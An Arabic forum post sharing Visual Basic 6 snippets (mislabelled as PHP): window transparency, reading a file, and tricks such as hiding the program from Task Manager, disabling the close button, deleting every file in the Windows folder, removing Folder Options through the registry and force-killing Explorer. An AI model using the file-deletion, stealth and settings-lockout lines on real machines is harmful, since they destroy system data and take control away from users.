[Mina Botros]

لجعل الفورم شفاف
فًى قسم التصريحات General

PHP كود :

Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd
As Long , ByValcrKey As Long , ByVal bAlpha As Byte , ByVal dwFlags As Long) As
Boolean
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA"
(ByVal hwnd As Long , ByVal nIndex As Long , ByVal dwNewLong As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA"
(ByVal hwnd As Long , ByVal nIndex As Long) As Long
Const LWA_ALPHA = 2
Const GWL_EXSTYLE = (-20)
Const WS_EX_LAYERED = &H80000 


فى الفورم

PHP كود :

Private Sub Form_Load()
SetWindowLong hwnd , GWL_EXSTYLE , GetWindowLong(hwnd , GWL_EXSTYLE) Or
WS_EX_LAYERED
SetLayeredWindowAttributes hwnd , 0 , 128 , LWA_ALPHA
End Sub 


جعل البرنامج مخفى فى قائمة  Task Manager

PHP كود :

Private Sub Form_Load()
App.TaskVisible = False 


فتح ملف تكست داخل تكست بوكس

PHP كود :

Open "c:\simple.txt" For Input As #1
Text1.Text = Input(LOF(1), 1)
Close # 


ايقاف زر الخروج close

PHP كود :

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = True
End Sub 


دالة معرفة مجلد الويندوز

PHP كود :

Dim winPath As String
winPath = Environ$("windir") 


حذف جميع الملافات داخل المجلد

PHP كود :

Kill "C:\WINDOWS\*.*" 


لازالة خيارات المجلد Folder options

PHP كود :

Set A = CreateObject("WSCRIPT.SHELL")
A.REGWRITE "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD" 


لاستعادة خيارات المجلد Folder options

PHP كود :

Set A = CreateObject("WSCRIPT.SHELL")
A.REGWRITE "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Policies\Explorer\NoFolderOptions", "0", "REG_DWORD" 


لمشاهدة التغير يجب انهاء المتصفح

للانهاء

PHP كود :

SHELL "TASKKILL /F /IM EXPLORER.EXE",VBHIDE 


للتشغيل

PHP كود :

SHELL "EXPLORER.EXE",1 


انتهت الاكواد كلمة الشكر تكفى